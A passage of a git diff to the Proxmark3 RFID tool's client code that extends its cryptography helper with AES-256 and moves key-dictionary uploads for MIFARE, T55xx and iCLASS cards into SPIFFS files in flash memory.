04D6850E06AABB80 -k FFFFFFFFFFFFFFFF --iv 9EA0401A00000000 --des -> Calculate a MAC for FMCOS chip. The result should be ED3A0133\n" @@ -3430,76 +3544,97 @@ static int CmdCryptography(const char *Cmd) { arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); + uint8_t dati[250] = {0}; uint8_t dato[250] = {0}; int datilen = 0; CLIGetHexWithReturn(ctx, 1, dati, &datilen); - uint8_t key[25] = {0}; + + uint8_t key[33] = {0}; int keylen = 0; CLIGetHexWithReturn(ctx, 2, key, &keylen); - int type = 0; - if (arg_get_lit(ctx, 3)) type ^= 8; - if (arg_get_lit(ctx, 4)) type ^= 4; - if (arg_get_lit(ctx, 5)) type ^= 2; + + uint8_t type = 0; + if (arg_get_lit(ctx, 3)) { + type ^= 0x08; + } + + if (arg_get_lit(ctx, 4)) { + type ^= 0x04; + } + + if (arg_get_lit(ctx, 5)) { + type ^= 0x02; + } + uint8_t iv[250] = {0}; int ivlen = 0; CLIGetHexWithReturn(ctx, 6, iv, &ivlen); CLIParserFree(ctx); // Do data length check - if ((type & 0x4) >> 2) { // Use AES(0) or DES(1)? + if ((type & 0x04) == 0x04) { // Use AES(0) or DES(1)? if (datilen % 8 != 0) { PrintAndLogEx(ERR, " length must be a multiple of 8. Got %d", datilen); return PM3_EINVARG; } - if (keylen != 8 && keylen != 16 && keylen != 24) { - PrintAndLogEx(ERR, " must be 8, 16 or 24 bytes. Got %d", keylen); + if (keylen != 8 && keylen != 16 && keylen != 24 && keylen != 32) { + PrintAndLogEx(ERR, " must be 8, 16, 24, 32 bytes. Got %d", keylen); return PM3_EINVARG; } } else { - if (datilen % 16 != 0 && ((type & 0x2) >> 1 == 0)) { + if (datilen % 16 != 0 && ((type & 0x02) == 0)) { PrintAndLogEx(ERR, " length must be a multiple of 16. Got %d", datilen); return PM3_EINVARG; } - if (keylen != 16) { - PrintAndLogEx(ERR, " must be 16 bytes. Got %d", keylen); + if (keylen != 16 && keylen != 32) { + PrintAndLogEx(ERR, " must be 16 or 32 bytes. Got %d", keylen); return PM3_EINVARG; } } // Encrypt(0) or decrypt(1)? - if ((type & 0x8) >> 3) { + if ((type & 0x08) == 0x08) { - if ((type & 0x4) >> 2) { // AES or DES? + if ((type & 0x04) == 0x04) { // AES or DES? if (keylen > 8) { - PrintAndLogEx(INFO, "Called 3DES decrypt"); des3_decrypt(dato, dati, key, keylen / 8); + PrintAndLogEx(INFO, "3DES decrypt... " _YELLOW_("%s"), sprint_hex_inrow(dato, datilen)); } else { - PrintAndLogEx(INFO, "Called DES decrypt"); + if (ivlen == 0) { // If there's an IV, use CBC des_decrypt_ecb(dato, dati, datilen, key); + PrintAndLogEx(INFO, "DES ECB decrypt... " _YELLOW_("%s"), sprint_hex_inrow(dato, datilen)); } else { des_decrypt_cbc(dato, dati, datilen, key, iv); + PrintAndLogEx(INFO, "DES CBC decrypt... " _YELLOW_("%s"), sprint_hex_inrow(dato, datilen)); } } + } else { - PrintAndLogEx(INFO, "Called AES decrypt"); - aes_decode(iv, key, dati, dato, datilen); + if (keylen == 32) { + aes256_decode(iv, key, dati, dato, datilen); + PrintAndLogEx(INFO, "AES-256 decrypt... " _YELLOW_("%s"), sprint_hex_inrow(dato, datilen)); + } else { + aes_decode(iv, key, dati, dato, datilen); + PrintAndLogEx(INFO, "AES-128 decrypt... " _YELLOW_("%s"), sprint_hex_inrow(dato, datilen)); + } } } else { - if (type & 0x4) { // AES or DES? - if (type & 0x02) { // If we will calculate a MAC + + if ((type & 0x04) == 0x04) { // AES or DES? + if ((type & 0x02) == 0x02) { // If we will calculate a MAC /*PrintAndLogEx(INFO, "Called FeliCa MAC"); // For DES all I know useful is the felica and fudan MAC algorithm.This is just des-cbc, but felica needs it in its way. for (int i = 0; i < datilen; i+=8){ // For all 8 byte sequences @@ -3523,37 +3658,42 @@ static int CmdCryptography(const char *Cmd) { } else { if (keylen > 8) { - PrintAndLogEx(INFO, "Called 3DES encrypt keysize: %i", keylen / 8); des3_encrypt(dato, dati, key, keylen / 8); + PrintAndLogEx(INFO, "3DES encrypt keysize ( %d )... " _YELLOW_("%s"), (keylen / 8), sprint_hex_inrow(dato, datilen)); } else { - PrintAndLogEx(INFO, "Called DES encrypt"); - if (ivlen == 0) { // If there's an IV, use ECB des_encrypt_ecb(dato, dati, datilen, key); + PrintAndLogEx(INFO, "DES ECB encrypt... " _YELLOW_("%s"), sprint_hex_inrow(dato, datilen)); } else { des_encrypt_cbc(dato, dati, datilen, key, iv); char pad[250]; memset(pad, ' ', 4 + 8 + (datilen - 8) * 3); pad[8 + (datilen - 8) * 3] = 0; // Make a padding to insert FMCOS macing algorithm guide PrintAndLogEx(INFO, "%sVV VV VV VV FMCOS MAC", pad); + PrintAndLogEx(INFO, "DES CBC encrypt... " _YELLOW_("%s"), sprint_hex_inrow(dato, datilen)); } } } } else { - if (type & 0x02) { - PrintAndLogEx(INFO, "Called AES CMAC"); + if ((type & 0x02) == 0x02) { // If we will calculate a MAC aes_cmac8(iv, key, dati, dato, datilen); + PrintAndLogEx(INFO, "AES CMAC... " _YELLOW_("%s"), sprint_hex_inrow(dato, datilen)); } else { - PrintAndLogEx(INFO, "Called AES encrypt"); - aes_encode(iv, key, dati, dato, datilen); + if (keylen == 32) { + aes256_encode(iv, key, dati, dato, datilen); + PrintAndLogEx(INFO, "AES-256 encrypt... " _YELLOW_("%s"), sprint_hex_inrow(dato, datilen)); + } else { + aes_encode(iv, key, dati, dato, datilen); + PrintAndLogEx(INFO, "AES-128 encrypt... " _YELLOW_("%s"), sprint_hex_inrow(dato, datilen)); + } } } } - PrintAndLogEx(SUCCESS, "Result: %s", sprint_hex(dato, datilen)); + return PM3_SUCCESS; } diff --git a/client/src/cmddata.h b/client/src/cmddata.h index 5b19b0f4e..5f70516ff 100644 --- a/client/src/cmddata.h +++ b/client/src/cmddata.h @@ -67,7 +67,6 @@ int CmdLtrim(const char *Cmd); int CmdNorm(const char *Cmd); // used by cmd lf data (!) int CmdPlot(const char *Cmd); // used by cmd lf cotag int CmdSave(const char *Cmd); // used by cmd auto -int CmdTuneSamples(const char *Cmd); // used by cmd lf hw int ASKbiphaseDemod(int offset, int clk, int invert, int maxErr, bool verbose); // used by cmd lf em4x, lf fdxb, lf guard, lf jablotron, lf nedap, lf t55xx int ASKDemod(int clk, int invert, int maxErr, size_t maxlen, bool amplify, bool verbose, bool emSearch, uint8_t askType); // used by cmd lf em4x, lf t55xx, lf viking diff --git a/client/src/cmdflashmem.c b/client/src/cmdflashmem.c index a43989886..607a36b31 100644 --- a/client/src/cmdflashmem.c +++ b/client/src/cmdflashmem.c @@ -17,6 +17,7 @@ //----------------------------------------------------------------------------- #include "cmdflashmem.h" #include +#include #include "cmdparser.h" // command_t #include "cliparser.h" #include "pmflash.h" // rdv40validation_t @@ -50,6 +51,29 @@ static int CmdHelp(const char *Cmd); //------------------------------------------------------------------------------------- +int rdv4_get_flash_pages64k(uint8_t *pages64k) { + if (pages64k == NULL) { + return PM3_EINVARG; + } + + clearCommandBuffer(); + SendCommandNG(CMD_FLASHMEM_PAGES64K, NULL, 0); + PacketResponseNG resp; + if (WaitForResponseTimeout(CMD_ACK, &resp, 2500) == false) { + PrintAndLogEx(WARNING, "rdv4_get_flash_pages64k() timeout while waiting for reply"); + return PM3_ETIMEOUT; + } + + uint8_t isok = resp.oldarg[0] & 0xFF; + if (isok == false) { + PrintAndLogEx(FAILED, "fail reading from flash (pages 64k)"); + return PM3_EFLASH; + } + + memcpy(pages64k, (uint8_t *)resp.data.asBytes, sizeof(uint8_t)); + return PM3_SUCCESS; +} + int rdv4_get_signature(rdv40_validation_t *out) { if (out == NULL) { return PM3_EINVARG; @@ -98,8 +122,16 @@ int rdv4_validate(rdv40_validation_t *mem) { } static int rdv4_sign_write(uint8_t *signature, uint8_t slen) { + + uint8_t spi_flash_pages = 0; + int res = rdv4_get_flash_pages64k(&spi_flash_pages); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "failed to get flash pages (%x)", res); + return res; + } + flashmem_old_write_t payload = { - .startidx = FLASH_MEM_SIGNATURE_OFFSET, + .startidx = FLASH_MEM_SIGNATURE_OFFSET_P(spi_flash_pages), .len = FLASH_MEM_SIGNATURE_LEN, }; memcpy(payload.data, signature, slen); @@ -117,7 +149,7 @@ static int rdv4_sign_write(uint8_t *signature, uint8_t slen) { return PM3_EFAILED; } } - PrintAndLogEx(SUCCESS, "Writing signature at offset %u ( "_GREEN_("ok") " )", FLASH_MEM_SIGNATURE_OFFSET); + PrintAndLogEx(SUCCESS, "Writing signature at offset %u ( "_GREEN_("ok") " )", FLASH_MEM_SIGNATURE_OFFSET_P(spi_flash_pages)); return PM3_SUCCESS; } @@ -160,21 +192,24 @@ static int CmdFlashMemLoad(const char *Cmd) { CLIParserContext *ctx; CLIParserInit(&ctx, "mem load", "Loads binary file into flash memory on device\n" - "Warning: mem area to be written must have been wiped first\n" - "( this is already taken care when loading dictionaries )", - "mem load -f myfile -> upload file myfile values at default offset 0\n" - "mem load -f myfile -o 1024 -> upload file myfile values at offset 1024\n" - "mem load -f mfc_default_keys -m -> upload MFC keys\n" - "mem load -f t55xx_default_pwds -t -> upload T55XX passwords\n" - "mem load -f iclass_default_keys -i -> upload iCLASS keys\n" + "Warning! - mem area to be written must have been wiped first\n\n" + "OBS! - dictionaries are serviced as files in spiffs so no wipe is needed", + "mem load -f myfile -> upload file myfile values at default offset 0\n" + "mem load -f myfile -o 1024 -> upload file myfile values at offset 1024\n" + "mem load -f mfc_default_keys -m -> upload MIFARE Classic keys\n" + "mem load -f t55xx_default_pwds -t -> upload T55XX passwords\n" + "mem load -f iclass_default_keys -i -> upload iCLASS keys\n" + "mem load -f mfulc_default_keys --ulc -> upload MIFARE UL-C keys\n" ); void *argtable[] = { arg_param_begin, arg_int0("o", "offset", "", "offset in memory"), - arg_lit0("m", "mifare,mfc", "upload 6 bytes keys (mifare key dictionary)"), - arg_lit0("i", "iclass", "upload 8 bytes keys (iClass key dictionary)"), - arg_lit0("t", "t55xx", "upload 4 bytes keys (password dictionary)"), + arg_lit0("m", "mfc", "upload 6 bytes keys (MIFARE Classic dictionary)"), + arg_lit0("i", "iclass", "upload 8 bytes keys (iClass dictionary)"), + arg_lit0("t", "t55xx", "upload 4 bytes keys (T55xx dictionary)"), + arg_lit0(NULL, "ulc", "upload 16 bytes keys (MIFARE UL-C dictionary)"), + arg_lit0(NULL, "aes", "upload 16 bytes keys (MIFARE UL-AES dictionary)"), arg_str1("f", "file", "", "file name"), arg_param_end }; @@ -184,101 +219,141 @@ static int CmdFlashMemLoad(const char *Cmd) { bool is_mfc = arg_get_lit(ctx, 2); bool is_iclass = arg_get_lit(ctx, 3); bool is_t55xx = arg_get_lit(ctx, 4); + bool is_ulc = arg_get_lit(ctx, 5); + bool is_ulaes = arg_get_lit(ctx, 6); int fnlen = 0; char filename[FILE_PATH_SIZE] = {0}; - CLIParamStrToBuf(arg_get_str(ctx, 5), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen); + CLIParamStrToBuf(arg_get_str(ctx, 7), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen); CLIParserFree(ctx); Dictionary_t d = DICTIONARY_NONE; if (is_mfc) { d = DICTIONARY_MIFARE; - PrintAndLogEx(INFO, "treating file as MIFARE Classic keys"); + PrintAndLogEx(INFO, "Treating file as MIFARE Classic keys"); } else if (is_iclass) { d = DICTIONARY_ICLASS; - PrintAndLogEx(INFO, "treating file as iCLASS keys"); + PrintAndLogEx(INFO, "Treating file as iCLASS keys"); } else if (is_t55xx) { d = DICTIONARY_T55XX; - PrintAndLogEx(INFO, "treating file as T55xx passwords"); + PrintAndLogEx(INFO, "Treating file as T55xx passwords"); + } else if (is_ulc) { + d = DICTIONARY_MIFARE_ULC; + PrintAndLogEx(INFO, "Treating file as MIFARE Ultralight-C keys"); + } else if (is_ulaes) { + d = DICTIONARY_MIFARE_ULAES; + PrintAndLogEx(INFO, "Treating file as MIFARE Ultralight AES keys"); + } + + uint8_t spi_flash_pages = 0; + int res = rdv4_get_flash_pages64k(&spi_flash_pages); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "Failed to get flash pages count (%x)", res); + return res; } size_t datalen = 0; uint32_t keycount = 0; - int res = 0; uint8_t keylen = 0; - uint8_t *data = calloc(FLASH_MEM_MAX_SIZE, sizeof(uint8_t)); + uint8_t *data = calloc(FLASH_MEM_MAX_SIZE_P(spi_flash_pages), sizeof(uint8_t)); + + char spiffsDest[32] = {0}; switch (d) { - case DICTIONARY_MIFARE: - offset = DEFAULT_MF_KEYS_OFFSET; - keylen = 6; - res = loadFileDICTIONARY(filename, data + 2, &datalen, keylen, &keycount); + case DICTIONARY_MIFARE: { + keylen = MF_KEY_LENGTH; + res = loadFileDICTIONARY(filename, data, &datalen, keylen, &keycount); if (res || !keycount) { free(data); return PM3_EFILE; } - // limited space on flash mem - if (keycount > DEFAULT_MF_KEYS_MAX) { - keycount = DEFAULT_MF_KEYS_MAX; - datalen = keycount * keylen; + if (datalen > FLASH_MEM_MAX_SIZE_P(spi_flash_pages)) { + PrintAndLogEx(ERR, "error, filesize is larger than available memory"); + free(data); + return PM3_EOVFLOW; } - - data[0] = (keycount >> 0) & 0xFF; - data[1] = (keycount >> 8) & 0xFF; - datalen += 2; + strcpy(spiffsDest, MF_KEYS_FILE); break; - case DICTIONARY_T55XX: - offset = DEFAULT_T55XX_KEYS_OFFSET; - keylen = 4; - res = loadFileDICTIONARY(filename, data + 2, &datalen, keylen, &keycount); + } + case DICTIONARY_T55XX: { + keylen = T55XX_KEY_LENGTH; + res = loadFileDICTIONARY(filename, data, &datalen, keylen, &keycount); if (res || !keycount) { free(data); return PM3_EFILE; } - // limited space on flash mem - if (keycount > DEFAULT_T55XX_KEYS_MAX) { - keycount = DEFAULT_T55XX_KEYS_MAX; - datalen = keycount * keylen; + if (datalen > FLASH_MEM_MAX_SIZE_P(spi_flash_pages)) { + PrintAndLogEx(ERR, "error, filesize is larger than available memory"); + free(data); + return PM3_EOVFLOW; } - - data[0] = (keycount >> 0) & 0xFF; - data[1] = (keycount >> 8) & 0xFF; - datalen += 2; + strcpy(spiffsDest, T55XX_KEYS_FILE); break; - case DICTIONARY_ICLASS: - offset = DEFAULT_ICLASS_KEYS_OFFSET; - res = loadFileDICTIONARY(filename, data + 2, &datalen, keylen, &keycount); + } + case DICTIONARY_ICLASS: { + keylen = ICLASS_KEY_LENGTH; + res = loadFileDICTIONARY(filename, data, &datalen, keylen, &keycount); if (res || !keycount) { free(data); return PM3_EFILE; } - // limited space on flash mem - if (keycount > DEFAULT_ICLASS_KEYS_MAX) { - keycount = DEFAULT_ICLASS_KEYS_MAX; - datalen = keycount * keylen; + if (datalen > FLASH_MEM_MAX_SIZE_P(spi_flash_pages)) { + PrintAndLogEx(ERR, "error, filesize is larger than available memory"); + free(data); + return PM3_EOVFLOW; } - - data[0] = (keycount >> 0) & 0xFF; - data[1] = (keycount >> 8) & 0xFF; - datalen += 2; + strcpy(spiffsDest, ICLASS_KEYS_FILE); break; - case DICTIONARY_NONE: + } + case DICTIONARY_MIFARE_ULC: { + keylen = MFULC_KEY_LENGTH; + res = loadFileDICTIONARY(filename, data, &datalen, keylen, &keycount); + if (res || !keycount) { + free(data); + return PM3_EFILE; + } + if (datalen > FLASH_MEM_MAX_SIZE_P(spi_flash_pages)) { + PrintAndLogEx(ERR, "error, filesize is larger than available memory"); + free(data); + return PM3_EOVFLOW; + } + strcpy(spiffsDest, MFULC_KEYS_FILE); + break; + } + case DICTIONARY_MIFARE_ULAES: { + keylen = MFULAES_KEY_LENGTH; + res = loadFileDICTIONARY(filename, data, &datalen, keylen, &keycount); + if (res || !keycount) { + free(data); + return PM3_EFILE; + } + if (datalen > FLASH_MEM_MAX_SIZE_P(spi_flash_pages)) { + PrintAndLogEx(ERR, "error, filesize is larger than available memory"); + free(data); + return PM3_EOVFLOW; + } + strcpy(spiffsDest, MFULAES_KEYS_FILE); + break; + } + case DICTIONARY_NONE: { res = loadFile_safe(filename, ".bin", (void **)&data, &datalen); if (res != PM3_SUCCESS) { free(data); return PM3_EFILE; } - if (datalen > FLASH_MEM_MAX_SIZE) { + if (datalen > FLASH_MEM_MAX_SIZE_P(spi_flash_pages)) { PrintAndLogEx(ERR, "error, filesize is larger than available memory"); free(data); return PM3_EOVFLOW; } break; + } } // ICEMAN: not needed when we transite to loadxxxx_safe methods uint8_t *newdata = realloc(data, datalen); if (newdata == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); free(data); return PM3_EMALLOC; } else { @@ -289,44 +364,62 @@ static int CmdFlashMemLoad(const char *Cmd) { uint32_t bytes_sent = 0; uint32_t bytes_remaining = datalen; - - // fast push mode - g_conn.block_after_ACK = true; - - while (bytes_remaining > 0) { - uint32_t bytes_in_packet = MIN(FLASH_MEM_BLOCK_SIZE, bytes_remaining); - - clearCommandBuffer(); - - flashmem_old_write_t payload = { - .startidx = offset + bytes_sent, - .len = bytes_in_packet, - }; - memcpy(payload.data, data + bytes_sent, bytes_in_packet); - SendCommandNG(CMD_FLASHMEM_WRITE, (uint8_t *)&payload, sizeof(payload)); - - bytes_remaining -= bytes_in_packet; - bytes_sent += bytes_in_packet; - - PacketResponseNG resp; - if (WaitForResponseTimeout(CMD_FLASHMEM_WRITE, &resp, 2000) == false) { - PrintAndLogEx(WARNING, "timeout while waiting for reply."); - g_conn.block_after_ACK = false; + // we will treat dictionary files as spiffs files, so we need to handle this here + if (d != DICTIONARY_NONE) { + res = flashmem_spiffs_load(spiffsDest, data, datalen); + if (res != PM3_SUCCESS) { + PrintAndLogEx(FAILED, "Failed writing passwrods to file %s", spiffsDest); free(data); - return PM3_ETIMEOUT; + return res; } - if (resp.status != PM3_SUCCESS) { - g_conn.block_after_ACK = false; - PrintAndLogEx(FAILED, "Flash write fail [offset %u]", bytes_sent); - free(data); - return PM3_EFLASH; + if (d == DICTIONARY_T55XX) { + PrintAndLogEx(SUCCESS, "Wrote "_GREEN_("%u")" passwords to file "_GREEN_("%s"), keycount, spiffsDest); + } else { + PrintAndLogEx(SUCCESS, "Wrote "_GREEN_("%u")" keys to file "_GREEN_("%s"), keycount, spiffsDest); } + SendCommandNG(CMD_SPIFFS_UNMOUNT, NULL, 0); + SendCommandNG(CMD_SPIFFS_MOUNT, NULL, 0); + } else { + // fast push mode + g_conn.block_after_ACK = true; + + while (bytes_remaining > 0) { + uint32_t bytes_in_packet = MIN(FLASH_MEM_BLOCK_SIZE, bytes_remaining); + + clearCommandBuffer(); + + flashmem_old_write_t payload = { + .startidx = offset + bytes_sent, + .len = bytes_in_packet, + }; + memcpy(payload.data, data + bytes_sent, bytes_in_packet); + SendCommandNG(CMD_FLASHMEM_WRITE, (uint8_t *)&payload, sizeof(payload)); + + bytes_remaining -= bytes_in_packet; + bytes_sent += bytes_in_packet; + + PacketResponseNG resp; + if (WaitForResponseTimeout(CMD_FLASHMEM_WRITE, &resp, 2000) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + g_conn.block_after_ACK = false; + free(data); + return PM3_ETIMEOUT; + } + + if (resp.status != PM3_SUCCESS) { + g_conn.block_after_ACK = false; + PrintAndLogEx(FAILED, "Flash write fail [offset %u]", bytes_sent); + free(data); + return PM3_EFLASH; + } + } + + g_conn.block_after_ACK = false; + PrintAndLogEx(SUCCESS, "Wrote "_GREEN_("%zu")" bytes to offset "_GREEN_("%u"), datalen, offset); } - g_conn.block_after_ACK = false; free(data); - PrintAndLogEx(SUCCESS, "Wrote "_GREEN_("%zu")" bytes to offset "_GREEN_("%u"), datalen, offset); return PM3_SUCCESS; } @@ -351,8 +444,15 @@ static int CmdFlashMemDump(const char *Cmd) { }; CLIExecWithReturn(ctx, Cmd, argtable, false); + uint8_t spi_flash_pages = 0; + int res = rdv4_get_flash_pages64k(&spi_flash_pages); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "failed to get flash pages count (%x)", res); + return res; + } + int offset = arg_get_int_def(ctx, 1, 0); - int len = arg_get_int_def(ctx, 2, FLASH_MEM_MAX_SIZE); + int len = arg_get_int_def(ctx, 2, FLASH_MEM_MAX_SIZE_P(spi_flash_pages)); bool view = arg_get_lit(ctx, 3); int fnlen = 0; char filename[FILE_PATH_SIZE] = {0}; @@ -361,13 +461,13 @@ static int CmdFlashMemDump(const char *Cmd) { CLIParserFree(ctx); uint8_t *dump = calloc(len, sizeof(uint8_t)); - if (!dump) { - PrintAndLogEx(ERR, "error, cannot allocate memory "); + if (dump == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } PrintAndLogEx(INFO, "downloading "_YELLOW_("%u")" bytes from flash memory", len); - if (!GetFromDevice(FLASH_MEM, dump, len, offset, NULL, 0, NULL, -1, true)) { + if (GetFromDevice(FLASH_MEM, dump, len, offset, NULL, 0, NULL, -1, true) == false) { PrintAndLogEx(FAILED, "ERROR; downloading from flash memory"); free(dump); return PM3_EFLASH; @@ -409,16 +509,23 @@ static int CmdFlashMemWipe(const char *Cmd) { // initialwipe = arg_get_lit(ctx, 2); CLIParserFree(ctx); - if (page < 0 || page > 2) { - PrintAndLogEx(WARNING, "page must be 0, 1 or 2"); + uint8_t spi_flash_pages = 0; + int res = rdv4_get_flash_pages64k(&spi_flash_pages); + if (res != PM3_SUCCESS) { + PrintAndLogEx(ERR, "failed to get flash pages count (%x)", res); + return res; + } + + if (page < 0 || page > (spi_flash_pages - 2)) { + PrintAndLogEx(WARNING, "page must be between 0 and %d", spi_flash_pages - 2); return PM3_EINVARG; } clearCommandBuffer(); SendCommandMIX(CMD_FLASHMEM_WIPE, page, initialwipe, 0, NULL, 0); PacketResponseNG resp; - if (!WaitForResponseTimeout(CMD_ACK, &resp, 8000)) { - PrintAndLogEx(WARNING, "timeout while waiting for reply."); + if (!WaitForResponseTimeout(CMD_ACK, &resp, 10000)) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); return PM3_ETIMEOUT; } @@ -507,7 +614,7 @@ static int CmdFlashMemInfo(const char *Cmd) { mbedtls_rsa_context *rsa = (mbedtls_rsa_context *)pkctx.pk_ctx; if (rsa == NULL) { - PrintAndLogEx(FAILED, "failed to allocate rsa context memory"); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } got_private = true; @@ -560,6 +667,10 @@ static int CmdFlashMemInfo(const char *Cmd) { } else { rsa = (mbedtls_rsa_context *)calloc(1, sizeof(mbedtls_rsa_context)); + if (rsa == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + return PM3_EMALLOC; + } mbedtls_rsa_init(rsa, MBEDTLS_RSA_PKCS_V15, 0); rsa->len = RRG_RSA_KEY_LEN; @@ -665,6 +776,7 @@ static int CmdFlashMemInfo(const char *Cmd) { static command_t CommandTable[] = { {"spiffs", CmdFlashMemSpiFFS, IfPm3Flash, "{ SPI File system }"}, {"help", CmdHelp, AlwaysAvailable, "This help"}, + {"-----------", CmdHelp, IfPm3Flash, "------------------- " _CYAN_("Operations") " -------------------"}, {"baudrate", CmdFlashmemSpiBaud, IfPm3Flash, "Set Flash memory Spi baudrate"}, {"dump", CmdFlashMemDump, IfPm3Flash, "Dump data from flash memory"}, {"info", CmdFlashMemInfo, IfPm3Flash, "Flash memory information"}, diff --git a/client/src/cmdflashmem.h b/client/src/cmdflashmem.h index 60bdd5857..f47547166 100644 --- a/client/src/cmdflashmem.h +++ b/client/src/cmdflashmem.h @@ -26,10 +26,13 @@ typedef enum { DICTIONARY_NONE = 0, DICTIONARY_MIFARE, DICTIONARY_T55XX, - DICTIONARY_ICLASS + DICTIONARY_ICLASS, + DICTIONARY_MIFARE_ULC, + DICTIONARY_MIFARE_ULAES, } Dictionary_t; int CmdFlashMem(const char *Cmd); int rdv4_get_signature(rdv40_validation_t *out); int rdv4_validate(rdv40_validation_t *mem); +int rdv4_get_flash_pages64k(uint8_t *pages64k); #endif diff --git a/client/src/cmdflashmemspiffs.c b/client/src/cmdflashmemspiffs.c index 8fbb9b2de..e2d5417ff 100644 --- a/client/src/cmdflashmemspiffs.c +++ b/client/src/cmdflashmemspiffs.c @@ -46,6 +46,11 @@ int flashmem_spiffs_load(const char *destfn, const uint8_t *data, size_t datalen uint32_t bytes_in_packet = MIN(FLASH_MEM_BLOCK_SIZE, bytes_remaining); flashmem_write_t *payload = calloc(1, sizeof(flashmem_write_t) + bytes_in_packet); + if (payload == NULL) { + PrintAndLogEx(WARNING, "Failed to allocate memory"); + ret_val = PM3_EMALLOC; + goto out; + } payload->append = (bytes_sent > 0); @@ -69,7 +74,7 @@ int flashmem_spiffs_load(const char *destfn, const uint8_t *data, size_t datalen uint8_t retry = 3; while (WaitForResponseTimeout(CMD_SPIFFS_WRITE, &resp, 2000) == false) { - PrintAndLogEx(WARNING, "timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); retry--; if (retry == 0) { ret_val = PM3_ETIMEOUT; @@ -96,7 +101,7 @@ int flashmem_spiffs_download(char *fn, uint8_t fnlen, void **pdest, size_t *dest SendCommandNG(CMD_SPIFFS_STAT, (uint8_t *)fn, fnlen); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_SPIFFS_STAT, &resp, 2000) == false) { - PrintAndLogEx(WARNING, "timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); return PM3_ETIMEOUT; } @@ -108,7 +113,7 @@ int flashmem_spiffs_download(char *fn, uint8_t fnlen, void **pdest, size_t *dest *pdest = calloc(len, sizeof(uint8_t)); if (*pdest == false) { - PrintAndLogEx(ERR, "error, cannot allocate memory "); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -262,9 +267,9 @@ static int CmdFlashMemSpiFFSRemove(const char *Cmd) { clearCommandBuffer(); SendCommandNG(CMD_SPIFFS_REMOVE, (uint8_t *)&payload, sizeof(payload)); WaitForResponse(CMD_SPIFFS_REMOVE, &resp); - if (resp.status == PM3_SUCCESS) + if (resp.status == PM3_SUCCESS) { PrintAndLogEx(INFO, "Done!"); - + } return PM3_SUCCESS; } @@ -310,10 +315,11 @@ static int CmdFlashMemSpiFFSRename(const char *Cmd) { clearCommandBuffer(); SendCommandNG(CMD_SPIFFS_RENAME, (uint8_t *)&payload, sizeof(payload)); WaitForResponse(CMD_SPIFFS_RENAME, &resp); - if (resp.status == PM3_SUCCESS) + if (resp.status == PM3_SUCCESS) { PrintAndLogEx(INFO, "Done!"); + } - PrintAndLogEx(HINT, "Try `" _YELLOW_("mem spiffs tree") "` to verify"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("mem spiffs tree") "` to verify"); return PM3_SUCCESS; } @@ -358,10 +364,11 @@ static int CmdFlashMemSpiFFSCopy(const char *Cmd) { clearCommandBuffer(); SendCommandNG(CMD_SPIFFS_COPY, (uint8_t *)&payload, sizeof(payload)); WaitForResponse(CMD_SPIFFS_COPY, &resp); - if (resp.status == PM3_SUCCESS) + if (resp.status == PM3_SUCCESS) { PrintAndLogEx(INFO, "Done!"); + } - PrintAndLogEx(HINT, "Try `" _YELLOW_("mem spiffs tree") "` to verify"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("mem spiffs tree") "` to verify"); return PM3_SUCCESS; } @@ -399,14 +406,14 @@ static int CmdFlashMemSpiFFSDump(const char *Cmd) { SendCommandNG(CMD_SPIFFS_STAT, (uint8_t *)src, slen); PacketResponseNG resp; if (WaitForResponseTimeout(CMD_SPIFFS_STAT, &resp, 2000) == false) { - PrintAndLogEx(WARNING, "timeout while waiting for reply."); + PrintAndLogEx(WARNING, "timeout while waiting for reply"); return PM3_ETIMEOUT; } uint32_t len = resp.data.asDwords[0]; uint8_t *dump = calloc(len, sizeof(uint8_t)); if (dump == NULL) { - PrintAndLogEx(ERR, "error, cannot allocate memory "); + PrintAndLogEx(WARNING, "Failed to allocate memory"); return PM3_EMALLOC; } @@ -426,7 +433,7 @@ static int CmdFlashMemSpiFFSDump(const char *Cmd) { free(dump); return PM3_EMALLOC; } - PrintAndLogEx(HINT, "Use 'trace list -1 -t ...' to view, 'trace save -f ...' to save"); + PrintAndLogEx(HINT, "Hint: Use 'trace list -1 -t ...' to view, 'trace save -f ...' to save"); } @@ -474,10 +481,11 @@ static int CmdFlashMemSpiFFSWipe(const char *Cmd) { clearCommandBuffer(); SendCommandNG(CMD_SPIFFS_WIPE, NULL, 0); WaitForResponse(CMD_SPIFFS_WIPE, &resp); - if (resp.status == PM3_SUCCESS) + if (resp.status == PM3_SUCCESS) { PrintAndLogEx(INFO, "Done!"); + } - PrintAndLogEx(HINT, "Try `" _YELLOW_("mem spiffs tree") "` to verify"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("mem spiffs tree") "` to verify"); return PM3_SUCCESS; } @@ -525,7 +533,7 @@ static int CmdFlashMemSpiFFSUpload(const char *Cmd) { if (res == PM3_SUCCESS) PrintAndLogEx(SUCCESS, "Wrote "_GREEN_("%zu") " bytes to file "_GREEN_("%s"), datalen, dest); - PrintAndLogEx(HINT, "Try `" _YELLOW_("mem spiffs tree") "` to verify"); + PrintAndLogEx(HINT, "Hint: Try `" _YELLOW_("mem spiffs tree") "` to verify"); return res; } @@ -568,10 +576,11 @@ static int CmdFlashMemSpiFFSView(const char *Cmd) { static command_t CommandTable[] = { {"help", CmdHelp, AlwaysAvailable, "This help"}, + {"-----------", CmdHelp, IfPm3Flash, "------------------- " _CYAN_("Operations") " -------------------"}, {"copy", CmdFlashMemSpiFFSCopy, IfPm3Flash, "Copy a file to another (destructively) in SPIFFS file system"}, {"check", 